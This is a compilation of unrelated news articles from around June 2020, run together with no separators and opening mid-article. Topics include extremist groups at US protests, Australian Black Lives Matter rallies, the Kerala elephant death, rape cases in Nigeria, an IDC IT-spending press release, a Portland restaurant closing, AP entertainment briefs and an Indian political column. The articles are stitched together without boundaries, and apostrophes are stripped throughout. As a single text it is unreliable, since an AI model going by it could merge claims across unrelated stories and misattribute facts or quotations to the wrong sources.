In some cases, those outsiders are criminals looking to take advantage of the protest to steal or vandalize, these officials said. But there are also groups with political ideologies on the left and the right, who are also looking to exploit the current unrest.

Eric Jackson, the former chief of the Dallas FBI, said its necessary for law enforcement to study extremists and learn the goals of the groups, their tactics, their use of social media platforms, the language they use to communicate, their use of props, such as their clothing, tattoos, graffiti.

Jackson, who served for 21 years in the FBI before retiring as special agent in charge of the Dallas Field Office in 2019, was assigned to the FBI's domestic terrorism unit during his career.

I noted the growth in domestic extremists since 2002, and often saw them mirror the political atmosphere of the nation, Jackson said in an emailed response to questions.

These groups' ideological goals stemmed from issues relating to politics, religious, social, racial, and environmental related issues, Jackson said.

In turn, he said, the groups learn the tactics of law enforcement to see how they can potentially exploit high-profile situations, such as protest demonstrations.

Some groups are hoping for a large law-enforcement presence and the use of tactics that will harm demonstrators, while others are looking for the introduction of the U.S. military against demonstrators, Jackson said.

Such law-enforcement responses, he said, will further fuel conspiracy theories spread by groups on both ends of the political spectrum, who will use threats of violence and intimidating tactics to further their ideological goals to recruit more followers, he said.

Public shaming and blaming of these groups might only serve to enhance their profile and embolden their efforts, Jackson said.

My other fear is as people place blame on an ideology or group for acts committed, they may be only enhancing/strengthening the ideology and recruitment efforts, he said.

antifa

Antifa, often cited by Trump for exploiting the current unrest, is an anti-fascist movement and collection of individuals in many community communities in contrast to an actual organization with a clear, hierarchical structure, according to experts.

The movement came to prominence in August 2017, when antifa activists confronted participants in the Unite the Right white supremacist rally in Charlottesville, Va. Since then, antifa activists have confronted white supremacists at other rallies across the country.

Allegations that the antifa movement is also connected to the protests over the killing of George Floyd by Minneapolis police officer Derek Chauvin come from Trumps tweets and some law enforcement officials.

McGraw singled out antifa, for damage and looting of a national chain business in Austin on Sunday. That was done and organized by antifa, said McGraw, who also blamed antifa for using the internet to let others know the location of various law enforcement resources. That information came from known antifa Internet accounts, he said.

Trump blamed the beating of a machete-wielding man in downtown Dallas over the weekend on antifa and, despite a lack of evidence for that, cited the incident upon announcing the deployment of National Guard and some active-duty troops around the country.

Trump also wrote on Twitter that "Its ANTIFA and the Radical Left. Dont lay the blame on others!"

After Trumps pledge to crack down on violent demonstrators, the Pentagon on Monday began deploying hundreds of active-duty troops to military installations on the outskirts of Washington, D.C. thousand National Guard troops are already patrolling the nations capital. The active-duty troops, pulled from the 82nd Airborne Division, are currently on standby at two Army bases in Virginia, according to a report in the Washington Post.

Attorney General William Barr also blamed anti-fascists groups for escalating the protests. In a statement released Sunday, Barr said: The violence instigated and carried out by Antifa and other similar groups in connection with the rioting is domestic terrorism and will be treated accordingly, Barrs statement read.

The Anti-Defamation League, a Jewish civil rights organization that tracks extremists, condemned the Trump administrations designation of antifa as a terrorist group, saying the move was rooted in politics.

Classifying antifa as a domestic terror organization has been a wish-list item for the presidents allies on the far right and in the conservative mainstream for year, said a June 1 report on the ADL website.

Right-wing extremists committed more acts of deadly violence last year than radical leftists, the ADL said. In 2019, 90 percent of the 42 people killed by domestic extremists were victims of individuals linked to right-wing extremism, according to an ADL study.

Boogaloo

In recent protests, some marchers have stood out for wearing Hawaiian shirts and carrying rifles. The garb is the uniform for attention-seekers sometimes known as Boogaloo Boysor Boogaloo Bois," who have been seen earlier this year around the country to protest COVID-19 lockdown orders. The name is a deep-cut reference to a 1980s break-dancing movie, Breakin 2: Electric Boogaloo. Gun activists morphed the term into Civil War 2: Electric Boogaloo, to mean another civil war would break out if the government tries to confiscate guns.

There were anecdotal sightings of the movements members at Dallas protests over the weekend.

Gordon Gianadda, a 21-year-old student at Southern Methodist University, said he and other students were at a protest Saturday afternoon near Dallas City Hall when a man in a Hawaiian shirt walked past carrying an assault rifle.

Everybody was sitting peacefully and suddenly somebody walked by wearing a gas mask, Hawaian shirt and carrying an assault rifle, the student said. And everybody got quiet.

The coronavirus crisis seems to have galvanized the movement, according to a report by the Tech Transparency Project, which tracks technology companies. The April 22 report found 125 Facebook groups associated with the term boogaloo, that had attracted thousands of members since COVID-19 lockdowns began in March.

Some boogaloo supporters see the public health lockdowns and other directives by states and cities across the country as a violation of their rights, and they're aiming to harness public frustration at such measures to rally and attract new followers to their cause," the project's report says.

Groups that study far-right extremists say the boogaloo movement is a broad tent that includes white supremacists as well as gun-rights activists.

Tracking groups

The DPS has special agents embedded in protests trying to identify criminals that are exploiting these demonstrations, McGraw, the departments director, said at Tuesdays news conference in Dallas.

The Federal Bureau of Investigation is the lead law enforcement agency for the investigation of domestic terrorism. Part of tracking extremist groups is understanding their motivation, said Jackson, the former Dallas-FBI chief.

The FBI is prohibited from monitoring individuals and groups practicing their constitutionally protected rights, Jackson said. The agency tries to work with the public in its investigations.

Groups can change in leadership and goals over the years, Jackson said, morphing between multiple ideologies and sometimes hiding their true ideology and goals.

Some groups have more of a structure and leadership, Jackson said, citing various white-supremacist groups over the years. Other anarchist-styled groups, such as antifa, are designed to be leader-less to further their anonymity, he said.

Ultimately, protesters are learning they have to be on guard against outside agitators, said one local leader.

Dallas City Council member Adam Bazaldua, who represents South Dallas and has been involved in several of the protests, said violence that breaks out during demonstrations threatens to take the spotlight away from the marchers goal, which is to protest police violence.

Bazaldua said he reached out over the weekend to Peter Johnson, a longtime local civil rights activist who marched with the Rev. Martin Luther King Jr., in the 1960s. He wanted Johnsons advice after violence had marred local protests.

I asked him how do we continue the movement with validity and credibility if we are going to be faced with violent and destructive behavior, Bazaldua said.

Johnson told him that protest leaders had to get rid of the agitators, Bazaldua said.

All protesters have to be willing to police the agitators just as were being policed, he said.

This is our movement, Bazaldua said. And we have to own it.
In January 2020, while I was in New Hampshire canvassing for Elizabeth Warren, a campaign organizer urged me to tell voters why I supported her. For me, that was easy. As a college teacher, I said when someone answered the door, I believe that higher education is a house of cards because Americans wont tax ourselves to support it.

I didnt know how right I was, or how quickly my words would bear out.

Two months later, Covid-19 closed American colleges and universities, and the cards came tumbling down. Millions of dollars in refunded housing and dining fees created yawning budget gaps. And the crisis isnt over, especially if students dont return in the fall. In the United States, tuition payments represent, on average, about a quarter of a public colleges budget, and about 35 percent of a private colleges. For many, it is far more.

The crisis highlights the unjust, unsustainable fact that higher education is surviving on ever higher tuition payments  and, going forward, will most likely lean even harder on students and their families to make ends meet. The frank conversation that Bernie Sanders and Senator Warren started during the primary season has now become a crisis. We urgently need to change how we pay for college, and that starts with removing the burden of tuition from working families.

Will college be free under a Democratic president? Probably not. But we can reduce the bill significantly if we imagine that education as part of an economic New Deal. That means more than just making college free or inexpensive for most students. It means re-evaluating the place that higher education occupies in our society.
By Akbar Mammadov

No provocative incident has happened on the territory of Keshikchidag on the Azerbaijani-Georgian state border, the State Border Service (SBS) said on June 4.

The SBS noted that as a result of preventive measures implemented by the State Border Service of Azerbaijan in cooperation with the Georgian Border Guard, no provocative incident has been registered on the territory of Keshikchidag State Historical-Cultural Reserve on the Azerbaijani-Georgian state border.

As reported, on June 4, Azerbaijani SBS received the information that a group of Georgian citizens had planned to commit provocative actions aimed at violating the state border at the Keshikchidag State Historical and Cultural Reserve on the Azerbaijani-Georgian border.

We reiterate that the State Border Service of Azerbaijan has always stood guard over the state borders, the SBS said.

Earlier on June 3, Azerbaijans State Border Service (SBS) officially informed the Georgian Border Guard about the possible violation of the state border between the two countries.

It should be noted that on July 14, 2019, Georgian citizens committed an act of provocation in the service area of the "Shamkir" border detachment of the Border Troops of the State Border Service at the Keshikchidag area on the Georgian-Azerbaijani border.

The border between Azerbaijan and Georgia was defined during the Soviet era. After gaining independence, a joint commission on the demarcation and delimitation of the 480 km Georgian-Azerbaijani border was established in 1996. However, one-third of the borderline (166km sections) between the two countries, including the area where part of the complex is located, remains unresolved.

On December 19, 2007, by the Presidential Order No. 2563, a historical and cultural reserve was declared in the area in order to further study, protect and promote the rich historical and ethnographic and cultural monuments in the cave complex.

---

Akbar Mammadov is AzerNews staff journalist, follow him on Twitter: @AkbarMammadov97

Follow us on Twitter @AzerNewsAz
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brings to light actions by our country and its founders that most did not know or simply chose to ignore because it calls for a close scrutiny of our country

Author Sonny Rios calls for a closer look at our nations history in America ChristianTruth or Myth? ($14.99, paperback, 9781619040731; $23.99, hardcover, 9781619040748; $7.49, e-book, 9781619045552).

Rios seeks to answer the questions, Who was Americas god in her formative years? and, Should we take her back to the god of our fathers? The answers may surprise you.

[This book] brings to light actions by our country and its founders that most did not know or simply chose to ignore because it calls for a close scrutiny of our country, said Rios.

Sonny Rios is a graduate of South Plains College where he studied voice with the renowned voice teacher Harley Bulls; and the University of North Texas where he studied with the renowned Metropolitan Opera tenor, Eugene Conley, and the renowned interpreter of comic opera, Edward Baird. Rios has sung across the USA, including Alaska and Puerto Rico, Canada, and at least twenty-five countries in Europe and Central- and South America. Presently, Sonny Rios has his own private voice studio in Duncanville, TX.

Xulon Press, a division of Salem Media Group, is the worlds largest Christian self-publisher, with more than 15,000 titles published to date. America Christian...Truth or Myth? is available online through xulonpress.com/bookstore, amazon.com, and barnesandnoble.com.
Thousands are expected at rallies that aim to highlight Australias own poor record on Indigenous deaths in custody.

Australian Prime Minister Scott Morrison urged people not to attend Black Lives Matter protests that are expected to take place in major cities around the country this weekend as the New South Wales government took court action to try and stop the rally there from going ahead, citing the risk of coronavirus.

Organisers expect thousands of people to attend rallies in Sydney, Melbourne and other cities that aim to focus attention on Australias poor record on police treatment of Indigenous people, including 432 deaths in custody since 1991 when a landmark inquiry into Aboriginal deaths in custody reported its findings. None of its recommendations have been implemented.

The protests have split opinion, with some state police and lawmakers approving the action despite the health risks. Morrison said people should find other ways to express their anger.

The health advice is very clear, its not a good idea to go, Morrison told reporters in Canberra. Lets find a better way and another way to express these sentiments  lets exercise our liberties responsibly.

In New South Wales, the state with the largest population in Australia, the state government on Friday went to the Supreme Court to try and stop the rally in Sydney from going ahead.

Court action

State Premier Gladys Berejiklian said the authorities were concerned about the potential size of the rally, which had been given the go-ahead initially on the expectation no more than 500 people would take part.

HUGE CROWDS in Canberra  BLAK LIVES MATTER pic.twitter.com/bP0SZ2rySv  Sophie Trevitt (@SophieTrevitt) June 5, 2020

Thousands of Australians have already joined rallies this week that began after George Floyds death in the United States. There was a large turnout on Friday in Canberra, the countrys capital.

Weve had more than 20 years of Reconciliation, Geraldine Atkinson and Marcus Stewart, co-chairs of the First Peoples Assembly of Victoria, wrote in a column for broadcaster SBS.

Our leaders speak out, our academics map pathways to change. Every time we lose one of our own, our people march in the streets. Our writers, filmmakers, painters and musicians tell our stories. Somehow were still unseen. Our history of police killings is still unknown. The page of injustice is turned, and the statistics revealed to a blind eye because it apparently doesnt happen here.

Australia has been easing coronavirus restrictions after cases fell to daily single-digit and low double-digit numbers in recent weeks. The country has 490 active cases, with just 25 people in hospital.
By Express News Service

PALAKKAD: One person has been arrested on Friday in connection with the death of a pregnant wild female elephant at Ambalapara in Thiruvazhamkunnu on the Palakkad Malappuram border.

Police sources said that the farmer was a native of Areekode in Malappuram district and had settled in Ambalapara for the last four years.

The police said that the arrest would be recorded within an hour. The name of the farmer, which is yet to be confirmed officially, is Wilson, who has taken the land on lease and was engaged in farming activities.

ALSO READ | BJP giving 'communal colour' to killing of elephant in Kerala: Congress

The injured pregnant wild elephant was seen in the Amabalapara area from May 23 onwards. The death was attributed to having eaten a fruit stuffed with explosives from the area. It was injured at least 10 days before it was seen in the area. The tongue, upper jaw and the lower jaw was completely torn off and worms had begun to infest it. It was standing in the nearby Veliyar stream to relieve it of the pain.

The elephant had not eaten for the past two weeks which finally led it to collapse in the Veliyar stream on May 27 when two kumki elephants were engaged to drive it back into the forests and offer treatment.

ALSO READ | Pineapple filled with firecrackers killed pregnant wild elephant

The death of the female wild elephant had created a national uproar in social media due to the cruelty meted out by humans to a dumb animal.
Once again, the unpleasant reality of the appalling issue of rape in our society has been brought into the fore as Vera Uwaila Omozuma, a 22-year-old university student in Edo State, was recently found dead in a church after being allegedly raped.

Vera, who went to study in a church at Ikpoba Hill area of Benin City, on May 27, 2020, was allegedly raped and assaulted by assailants.

It was gathered that the men forced their way into the church, where they raped and struck her in the head with a fire extinguisher (Oh my God!). The church security guard who found Vera in a pool of blood, reportedly called for help and the victim was rushed to the University of Benin Teaching Hospital. Vera did not recover from her state of unconsciousness until she died.

Veras sad episode is just one out of many such sordid rape tales that have come up of late. For instance, on May 30, in Dutse Local Government Area of Jigawa State, 11 suspects were arrested for allegedly raping a 12-year-old girl (name withheld).

The suspects were apprehended after the police received a complaint that one of the suspects, aged 57 of Maai village was seen at Limawa market in Dutse LGA, trying to lure the victim. During the course of interrogation, the victim listed names of 11 men who had sexual intercourse with her at different times on many occasions.

Similarly, last April, 18-year-old Jennifer was allegedly attacked and raped by a gang of five men in Narayi, a small community in Kaduna South Local Government Area of Kaduna State.

Her assailants were said to have carried out the dastardly action on the teenager after giving her a liquid content  said to be a mixture of alcohol and drugs  to drink. Two of the suspected rapists have been apprehended while the remaining three boys are currently at large.

In a manner that suggests the demon in charge of this reprehensible act is on the loose, 18-year Barakat Bello, student of the Federal College of Animal and Production Technology, Moore Plantation, Apata, Ibadan, was recently raped and killed in Ibadan. The ugly incidence took place at her home in Akinyele, Ibadan and the corpse found near the house.

Though a global phenomenon, the appalling side of rape in our clime has to do with recklessness of the perpetrators, lackluster response of justice administrators and absence of institutional supportive system to help the victims.

More worrying is that a good number of suspected rapists move freely on the streets after committing the heinous act. Also worrisome is the fact that not much is being done in respect of strengthening our weak law to incisively deal with perpetrators of rape.

Rape victims suffer a sense of abuse that goes beyond physical injury. They may become skeptical of men and experience feelings of embarrassment and disgrace. Victims who suffer rape trauma syndrome experience physical symptoms such as headaches, sleep disturbances, and fatigue.

They may also develop psychological disturbances related to the circumstances of the rape, such as intense fears. Fear of being raped has social as well as personal consequences. For example, it may prevent women from socializing or traveling as they wish while worried and un-enlightened parent can use it as excuse of limiting educational progress of girl-child.

Rape takes away from the victim, human rights such as right to life (as it led to death in some instances), right to dignity of human person, right to personal liberty and security of person and right not to be subjected to torture or other cruel, inhuman or degrading treatment or punishment. It is a crime against basic human rights and it also violates the victim's most cherished of the fundamental rights - the right to life.

Sadly, occurrence of cases of rape calls to question not only our sense of justice but our civilization as a people. Now, lets attempt to examine why some men engage in the heinous crime of rape.

According to experts, rape mostly occurs as result of a violent craving to control the victim rather than an attempt to achieve sexual fulfillment. They deem rape an act of violence rather than mainly a sexual encounter.

Beside the desire to control, rape also underscores the sorry state of mind of the perpetrators. The blatant way rape is often committed shows that perpetrators still operate in a distorted mindset of women as assets to be used and dispensed with at will.

Many Nigerians believe that women/girls invite trouble on themselves by being careless. Mothers often chide daughters for wearing provocative clothing, in most cases a sleeveless garment or a pair of hip-hugging jeans. Though one isnt an advocate of indecent dressing, but it could not be a justification for raping. Come to think of; is indecent dressing a rapeable offence?

The weak stance of the law towards rape needs to be seriously addressed. Women and girls who are raped in Nigeria have little hope of obtaining justice and reparation. Victims are sometimes pressured into withdrawing the case or parents of victims prefer financial settlement out of court to a criminal prosecution.

Where cases are brought to court, prosecution sometimes fails because police refer cases to a court lacking appropriate jurisdiction and progress is then obstructed by the slow administration of the judicial system. In some cases, the alleged perpetrator is charged with a different and less serious criminal offence.

Sadly, perpetrators of rape have continued to enjoy the crime because the onus of proof lies only with the victims. The victim is the one that must provide the bed sheet used to rape her. She must provide her underwear and not clean herself before going to the police station and the hospital even when it is sure that there would be delays in getting and presenting the report of medical tests because of nature of our health facilities. She must not urinate, drinks liquid or takes any other bodily action as these could threaten her evidence.

A lot has to be done if we must achieve a rape/sexual abuse-free society. A bothersome issue is the idea of giving culprit option of paying fine of such amount as ridiculous as N250, 000 which can be easily afforded by the culprit and his family. Of what use is the fine compared to damage caused the rape victims?

Recent upsurge in rape cases questions our sanity as a people. We need to make stronger laws against the shameful act. Rape is too horrific a crime to be treated lightly.

Ogunbiyi is of the Lagos State Ministry of Information and Strategy, Alausa, Ikeja, Lagos
A complaint made against three Democratic state senators  including Sen. Paul Lowe of Winston-Salem  has generated bad publicity, to say the least, especially since the person who filed the complaint is one of their colleagues, Democratic state Sen. Erica Smith. The allegations, though dismissed, mar the reputation of the legislature and could interfere with its workings as well. We hope every legislator will learn from this episode.

Smith says that shes endured being repeatedly yelled at, cursed out, bullied and badgered by both Republican and Democratic members of the NCGA since 2015. It all seemed to culminate in an argument with Lowe in 2019 that got so heated, Sen. Sam Searcy, D-Wake, had to intervene.

Senator Lowe initiated the argument by making a statement directed towards Senator Smith. Senator Smith did not like the comment made and responded to Senator Lowe. A hostile, verbal back (and) forth between the two senators ensued, Searcys statement said. He said he feared the possibility of a physical assault.

I have witnessed Senator Lowe use profane and hostile language to Senator Smith and others before, he said.
The federal data  posted online by CMS  is different from the numbers Illinois regulators have been releasing weekly, which shows cumulative case and death numbers for each long-term care facility and combines figures for residents and workers. As of Friday, the death tally had topped 3,000 in the facilities, which range from traditional nursing homes to assisted-living facilities and state-run centers.
Timo Werner's move to Chelsea seems unstoppable Premier League Set to sign five-year deal

Thursday evening saw Timo Werner become heavily linked with a move to Chelsea.

The RB Leipzig striker has a 65 million euro release clause until June 15 and it seems Frank Lampard's side are leading the race to sign him.

News of a move to Stamford Bridge was first reported by the English press and Bild before the BBC confirmed the two parties were in talks.

While it looked as though Werner would rather have joined Liverpool, interest from the Champions League holders has cooled in recent months.

This has allowed Chelsea to come in, pay his release clause and offer him a five-year contract worth 10 million euros a year.

The German international has scored 25 goals in the Bundesliga this season - his fourth campaign above the 20-goal mark.

Werner's arrival would provide further competition up front in Lampard's squad, with Tammy Abraham, Olivier Giroud and Michy Batshuayi all currently at the club.
Islamabad, June 5 : A senior diplomat of the American embassy in Pakistan has tested positive for the novel coronavirus, a media report said.

According to sources, the case surfaced on Tuesday and the American Charge d'Affaires has informed the staff of the development via an email, The Express Tribune reported on Thursday.

In a statement, the embassy's spokesman said that while maintaining the privacy, the name of microbe infected citizen would not be disclosed.

The US State Department is responsible to protect its citizens, wherever they are, the spokesman added.

In coordination with the Pakistani authorities, the consulate is working to enforce the coronavirus protocol in order to stem its spread.

The spokesman added that isolation wards, contact tracing and quarantine facility are part of such protocols.

The development comes as Pakistan has reported a total of 86,139 COVID-19 cases, with 1,793 deaths.
[June 05, 2020] Business Confidence in IT Spending Declines Despite Moves to Ease Economic Lockdown, According to IDC COVID-19 Tech Index

Business confidence levels declined in the last week of May, according to the latest update to the IDC COVID-19 Tech Index. IT buyers in the US, Western Europe, and some parts of Asia/Pacific indicated that they now expect total IT spending to decline by more than previously anticipated. This is in spite of a general stabilization in other market indicators over the past month, as many countries prepare to tentatively move into a gradual recovery phase. This press release features multimedia. View the full release here: https://www.businesswire.com/news/home/20200605005320/en/ Business Confidence in IT Spending Declines Despite Moves to Ease Economic Lockdown, According to IDC (News - Alert) COVID-19 Tech Index (Graphic: Business Wire) Confidence levels are still especially weak in the USA, where they have continued to trend down since the crisis began. US firms are a little more confident about the overall economy than two weeks ago, but conversely less confident about their own IT budgets for the year as a whole. Significant spending declines are predicted for traditional technologies including PCs, peripherals, software applications, and project-oriented IT services. Survey results also deteriorated in Europe, especially in France, Italy, and Russia. "The survey results have diverged with businesses in most countries now expressing less confidence about their own spending than about the broader economy," said Stephen Minton, vice president with IDC's Customer Insights & Analysis group. "This could just reflect the fact that we're still in the middle of the second quarter when the biggest spending cuts are likely to be concentrated and the scale of the short-term impact has been even worse than some firms expected. In fact, survey results are now closer in line with market indicators in terms of the scale of IT spending decline projected for 2020 as a whole." The COVID-19 Tech Index uses a scale of 1000 to provide a directional indicator of changes in the outlook for IT spending and is updated every two weeks. The index is based partly on a global survey of enterprise IT buyers, and partly on a composite of market indicators which are calibrated with country-level analyst inputs relating to medical infection rates, social distancing, travel restrictions, public life, and government stimulus. A score above 1000 indicates that IT spending is expected to increase, while a score below 1000 points towards a likely decline.







COVID-19 Tech Index March April May June Buyer Intent 1023 1006 983 954 Market Indicators 988 969 944 952 Total Index 1005 987 964 953 Source (News - Alert): IDC COVID-19 Tech Index, 2020

Notes: Index score above 1000 indicates expected increase in IT spending for 2020 overall; score below 1000 indicates a projected decline. Business confidence had been improving steadily in Asia/Pacific, but the picture is more complex according to the latest poll. IT spending is still projected to increase in China, where the economy has moved more quickly from a containment to recovery mode, but confidence levels plunged in India and even declined in Korea where moves to ease lockdown measures appeared to trigger some instances of infections increasing again. "The recovery phase in the second half of the year will be unpredictable and there may be volatility in survey results as businesses react to anxiety around a possible second wave of infections," said Minton. "The first phase of this crisis was uniformly bad for everyone, but the next chapter will be very localized and dependent on a delicate balance of medical and economic factors. Not surprisingly, the latest survey results support a sense that IT buyers remain cautious in this type of economic climate and continue to be vigilant in the near term. Moreover, we have now entered a phase where some companies are being forced into bankruptcy or employee reductions, which will have inevitable implications for tech spending in the second half of the year." The IDC COVID-19 Tech Index is a leading indicator for IT Spending, which is designed to provide rapid updates to changes in buyer sentiment and underlying market indicators before these are factored into official market and macroeconomic forecasts. The index is based on a scale whereby a score higher than 1000 indicates growth in IT spending, while a score below 1000 indicates a decline. Complete results from the most recent index as well as additional research related to the pandemic can be found on IDC's COVID-19 microsite at https://www.idc.com/covid19. The index is based on surveys of enterprise IT buyers around the world, who are asked to provide guidance on a variety of factors including general business confidence, overall IT spending plans and specific changes to budget allocations for individual technologies. Additionally, the index score is weighted with a composite of 'market indicators' which includes macroeconomic forecasts calibrated with inputs relating to medical data, social isolation measures and the impact of government stimulus. IDC will host a special COVID-19 Tech Index webinar on June 9th at 11:00 am U.S. Eastern time. In the presentation, Stephen Minton will provide additional analysis around the index in addition to new forecasts and scenarios for IT spending published in the Worldwide Black Book: Live Edition. Details and registration for this webinar are available at https://bit.ly/2A1RDQ3. About IDC

International Data Corporation (IDC) is the premier global provider of market intelligence, advisory services, and events for the information technology, telecommunications, and consumer technology markets. With more than 1,100 analysts worldwide, IDC offers global, regional, and local expertise on technology and industry opportunities and trends in over 110 countries. IDC's analysis and insight helps IT professionals, business executives, and the investment community to make fact-based technology decisions and to achieve their key business objectives. Founded in 1964, IDC is a wholly-owned subsidiary of International Data Group (IDG), the world's leading tech media, data and marketing services company. To learn more about IDC, please visit www.idc.com. Follow IDC on Twitter (News - Alert) at @IDC and LinkedIn. Subscribe to the IDC Blog for industry news and insights: http://bit.ly/IDCBlog_Subscribe. View source version on businesswire.com: https://www.businesswire.com/news/home/20200605005320/en/

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Irving Street Kitchen, a swanky Pearl District restaurant known for its Southern-inflected menu and dramatic decor, has closed for good, according to an email from general manager Anna Caporael.

Bay Area restaurant veterans Doug Washington and brothers Mitch and Steve Rosenthal opened Irving Street Kitchen in 2010 on a minimum 10-year deal. The trio, who were best known for SF Chronicle-favorite Town Hall, convinced chef Sarah Schafer, a San Francisco chef with experience at Gramercy Tavern in New York, to make the move north.

The writing has been on the wall for Irving Street Kitchen since at least October, when rumors began circling that current Irving Street Kitchen owners Moana Restaurant Group had reached a wall in negotiations with the buildings landlord. In late March, Caporael mentioned that part of the restaurants closing process had included donating both perishable and non-perishable goods -- including kitchen equipment -- to local food service training nonprofit Stone Soup.

But on April 20, a Moana representative told The Oregonian/OregonLive that the restaurant was still planning on reopening at some point in the future.

Caporael and Schafer say they knew the old Irving Street Kitchen model was broken as far back as two years ago, and they had been hoping to preserve one of the restaurants most popular items -- the fried chicken -- as a separate business in a smaller space. When that idea failed to bear fruit, the duo went full-bore into a new project, La Cooperativa, a 5,000-square-foot Italian food hall inspired by Florences Mercato Centrale.

The new market, which will eventually feature pizza and pasta stations, a butcher, a cafe, a florist and an intimate bar in the ground floor of a new Pearl District building, was announced in January and is still on course for a pared-down opening this July at 1250 N.W. Ninth Ave.

We could see that the whole fine-dining world would eventually just hit a wall, Schafer said. Thats why we created Cooperativa. We took everything we thought was wrong with our industry, and said how can we change it?

According to Schaefer and Caporael, La Cooperativa will begin by leaning into aspects of its business model best suited to Oregons gradual reopening process, with Multnomah County most likely to still be in Phase 2 by that July opening. That means more groceries and to-go meals, including traditional but unfussy pastas and pizzas squares sold by their size in the Italian al taglio street style. Eventually, the pizza and pasta will be joined by a cafe, flower shop, sandwiches to-go and, further down the line, an intimate bar.

According to Eater PDX, which reported on the closure Thursday, Irving Street Kitchens fried chicken could also make an appearance at La Cooperativa.

The beauty of this model and this dream, for Sarah and I, is that it could shift, expand, contract, refocus in a more nimble manner than the construct of a restaurant, Caporael said. And that we see it as one of many approaches that will allow those of us who love feeding people and creating this bond of nourishing people without having to work yourself to death.

-- Michael Russell, mrussell@oregonian.com, @tdmrussell

Subscribe to Oregonian/OregonLive newsletters and podcasts for the latest news and top stories.
Xu Zhiyong, a prominent Chinese activist and legal scholar detained by the government since earlier this year, is being honored by PEN America.

The literary and human rights organization announced Thursday that Xu is this year's winner of the PEN/Barbey Freedom to Write Award, which recognizes those imprisoned for free expression and previously has been given to dissidents everywhere from Cuba to Turkey. Xu's award comes on the 31st anniversary of the so-called Tiananmen Square Massacre, when Chinese soldiers shot and killed pro-democracy demonstrators.

The 47-year-old Xu has strongly criticized Chinese leader Xi Jinping for his handling of the coronavirus outbreak. Xu had been in hiding since last December, but continued to attack Xi on social media, accusing him of covering up information about the virus and calling him unfit for his job.

"You didn't authorise the truth to be released, and the outbreak turned into a national disaster," Xu wrote in February, shortly before he was detained. "I don't think you're an evil man, you're just not wise."

According to friends, Xu faces charges for "inciting subversion of state power."

In a recent interview with Associated Press, PEN CEO Suzanne Nossel cited a "confluence" of factors in giving the award to Xu, from China's human rights violations as China's influence grows worldwide to dangers of official secrecy on public health.

Xu has a long history of taking on the government and was jailed in 2014 for "gathering a crowd to disturb public order," a charge stemming from his leadership of the reformist New Citizens Movement. In 2009, he was arrested on charges of tax evasion but released a month later.

PEN will highlight Xu's life and work at its annual gala, scheduled for December 8 in Manhattan after being postponed from May because of the coronavirus. Other honorees will include the musician and author Patti Smith and Hearst executive president Frank A. Bennack Jr.

 Associated Press

Teen hurt in gunfire at rap video shoot

A teenager was injured Wednesday night after gunfire rang out during the filming of a music video in Atlanta, the city's police said.

Rapper YFN Lucci, whose real name is Rayshawn Bennett, was filming the music video in an apartment complex in the southeastern part of the city, Atlanta police told WGCL-TV.

Police said the 15-year-old boy's thumb was grazed after some 21 bullets were fired, with at least one striking YFN Lucci's Bentley. The teen was not identified and it was not immediately known if he has been hospitalized.

Police are searching for suspects in the shooting.

 Associated Press

Brian Cox takes on other roles

"Succession" may be temporarily shut down, but star Brian Cox finds projects to keep him busy.

Cox recently filmed "Little Room," a "whodunnit" for the Zoom age. The story centers on a psychiatrist who's missing. Her patients connect online to find her.

Sign up for The Knick  Get the latest news and some area history with our afternoon newsletter.

The actor said it took him four days to work out how to send his scenes to filmmakers.

"My baptism of fire was downloading the takes that I had to then send and it was taking forever," Cox said from upstate New York. "I don't know, it's just a bit of a nightmare."

Work on the third season of HBO's "Succession" halted for the pandemic. Cox won a Golden Globe this year for his role as media mogul Logan Roy.

The first episode of "Little Room" is available to stream at www.pinpointpresents.com. Viewers will be asked to donate what they can. The proceeds will go directly to film and TV charities in the U.K. and U.S.

 Associated Press

Influencer Jake Paul charged after riot

Social media influencer Jake Paul faces misdemeanor charges following a riot at a mall outside Phoenix, police said Thursday. Paul, who has 20 million followers, says he was merely trying to find people protesting against the death of George Floyd.

Paul, 23, was identified as a participant in a riot last Saturday night at Scottsdale Fashion Square and has been charged with criminal trespass and unlawful assembly, the Scottsdale Police Department said in a statement.

Police determined that "Paul was present after the protest was declared an unlawful assembly and the rioters were urged to leave the area by police." He entered and remained inside of the mall when it was closed, police said.

Sgt. Benjamin Hoster said he didn't know if Paul has an attorney. He was issued a summons to appear in court "in a month."

 Associated Press
There are many what ifs in the history of most countries. Almost all of them are questions no one can answer. We cant really tell how an event that never happened would have influenced the course of history.

And yet, most of the world is obsessed with such scenarios. On British TV, the show SS-GB which postulates that the Nazi won the Second World War (it is based on a book by Len Deighton) has been a big hit. In the US, the Man In The High Castle, based on a similar idea has been a big streaming success. More recently, a brilliant adaptation of Philip Roths book, The Plot Against America, which imagines that the crypto-Nazi pilot Charles Lindbergh beat FDR and sided with Hitler during the War has received rave reviews. A book called Rodham by Curtis Sittenfeld which wonders what would have happened if Hilary Rodham had not married Bill Clinton has been a bestseller.

There are many such what ifs in Indian history too. But few people seem interested in exploring them for literary purposes. One that I think should be delved into is the big question of our times: what if India had become a Hindu Rashtra in 1947?

It is not an unreasonable premise. There were many strands within the freedom struggle. Whatever you may think of Veer Savarkar, there is no doubt that he fought for Indias Independence and paid a heavy price for it. Yet Savarkar operated outside of the nationalist mainstream and was not a Gandhian. He had his own view of India and so great was the divergence from Gandhijis view that Savarkar was charged in the assassination of Gandhiji. The courts acquitted Savarkar on that charge (and we must respect their judgment) but it is clear that he wanted a very different India from the one that Gandhiji envisaged.

Gandhiji believed that India should be a secular country with no one religion being given preference. Even on such matters as cow slaughter (which he personally was deeply opposed to), he took the line that it could not be banned by law because India was not a Hindu country that could impose Hindu religious beliefs by law. Other Indians, belonging to different religions, ate beef and they had a right to do so.

Gandhijis view of India was of a country where people of all religions lived together in peace. MA Jinnah, on the other hand, wanted Pakistan to be a homeland for the sub-continents Muslims. He was not a particularly religious man himself and as a Gujarati Muslim, he had never really suffered from any discrimination on account of his religion. His motives were probably political: he believed that as Hindus were an overwhelming majority in undivided India, Muslims (like himself) would never get real political power.

For whatever reason, the demand for Pakistan was framed in religious terms. Jinnah wanted all the Muslim majority areas in undivided India to become a new country. It did not matter if these areas were not contiguous. East Bengal was thousands of miles away from West Punjab but Jinnah wanted it to be part of Pakistan.

He got his way. Not fully --- he said that they had ended up with a moth-eaten Pakistan. But when India was partitioned by the British, it was on religious grounds. The Muslims got their own country and so did the Hindus.

